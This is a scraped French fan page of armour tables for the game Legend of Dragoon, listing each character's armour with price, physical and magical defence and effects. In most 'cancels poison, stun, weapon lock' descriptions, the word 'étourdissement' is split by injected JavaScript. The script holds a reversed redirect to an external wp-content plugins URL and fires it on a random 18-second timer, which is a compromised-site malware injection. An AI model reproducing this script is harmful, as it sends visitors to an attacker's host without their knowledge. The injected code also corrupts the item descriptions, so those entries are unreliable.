Dart
Nom | Prix | Défense physique | Défense magique | Description |
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2 | 2 | Équipement de base. | |
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50 | 8 | 8 | |
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150 | 20 | 24 | |
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200 | 27 | 20 | |
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300 | 34 | 34 | |
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35 | 35 | Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée. | |
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800 | 41 | 40 | Annule les dommages causés par les attaques de feu. |
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10000 | 127 | 0 |
Lavitz
Nom | Prix | Défense physique | Défense magique | Description |
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2 | 2 | Équipement de base. | |
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50 | 8 | 8 | |
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150 | 20 | 24 | |
![]() |
200 | 27 | 20 | |
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300 | 34 | 34 | |
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35 | 35 | Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée. | |
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800 | 41 | 40 | Annule les dommages causés par les attaques de vent. |
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10000 | 127 | 0 |
Haschel
Nom | Prix | Défense physique | Défense magique | Description |
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13 | 8 | Équipement de base. | |
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150 | 25 | 23 | |
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250 | 30 | 29 | + 20 SP si attaque physique. |
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300 | 37 | 26 | + 50% de SP. |
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40 | 31 | Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée. | |
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800 | 45 | 40 | Annule les dommages causés par les attaques de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonnerre. |
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10000 | 127 | 0 |
Rose
Nom | Prix | Défense physique | Défense magique | Description |
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4 | 5 | Équipement de base. | |
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50 | 7 | 12 | |
![]() |
120 | 13 | 17 | |
![]() |
200 | 19 | 45 | + 20 SP si attaque physique. |
![]() |
300 | 34 | 35 | + 20 SP si attaque magique. |
![]() |
32 | 55 | Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée. | |
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800 | 27 | 80 | Annule les dommages causés par les attaques des ténèbres. |
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10000 | 127 | 0 |
Shana
Nom | Prix | Défense physique | Défense magique | Description |
![]() |
4 | 5 | Équipement de base. | |
![]() |
50 | 7 | 12 | |
![]() |
120 | 13 | 17 | |
![]() |
200 | 19 | 45 | + 20 SP si attaque physique. |
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34 | 35 | + 20 SP si attaque magique. | |
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23 | 55 | Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée. | |
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800 | 27 | 80 | Annule les dommages causés par les attaques de lumière. |
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10000 | 127 | 0 |
Meru
Nom | Prix | Défense physique | Défense magique | Description |
![]() |
4 | 5 | Équipement de base. | |
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50 | 7 | 12 | |
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120 | 13 | 17 | |
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200 | 19 | 45 | 20 SP si attaque physique. |
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300 | 34 | 35 | + 20 SP si attaque magique. |
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32 | 50 | Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée. | |
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800 | 27 | 80 | Annule les dommages causés par les attaques d’eau. |
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10000 | 127 | 0 |
Kongol
Nom | Prix | Défense physique | Défense magique | Description |
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46 | 20 | Équipement de base. | |
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250 | 59 | 14 | |
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400 | 75 | 25 | + 20 SP si attaque physique. |
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35 | 35 | Annule poison, étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, arme bloquée. | |
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80 | 23 | Annule les dommages causés par les attaques de terre. | |
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10000 | 127 | 0 |